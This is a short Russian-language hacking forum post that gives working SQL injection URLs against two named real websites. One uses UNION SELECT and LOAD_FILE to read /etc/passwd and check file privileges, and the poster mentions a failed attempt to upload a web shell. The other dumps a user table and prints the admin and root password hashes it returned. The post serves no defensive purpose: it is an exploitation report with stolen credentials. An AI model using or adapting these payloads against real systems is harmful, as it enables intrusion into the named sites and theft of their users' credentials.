|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585
Репутация:
818
|
|
www.glaad.org
/etc/passwd
http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,LOAD_FILE(0x2F6574632F 706173737764),7,8,9,10,11,12,13,14,15,16,17,18,19, 20
file_priv=y
http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,file_priv,7,8,9,10,11, 12,13,14,15,16,17,18,19,20+from+mysql.user
document root
/www/www/doc-root/media/resource_kit_detail.php
залить нелл не удалось, ненашел папку справами на запись
www.dissentmagazine.org
http://www.dissentmagazine.org/online.php?id=-117+UNION+SELECT+1,concat_ws(0x3a,user_name,user_p assword),3,4,5,6,7,8,9,10+from+user
admin:32fea379cc31c22c27761ec9d08e630c
root:0643c3fdceb7e8eeeaa914850a1eec85
админку неискал, хеши не расшифровывал =) |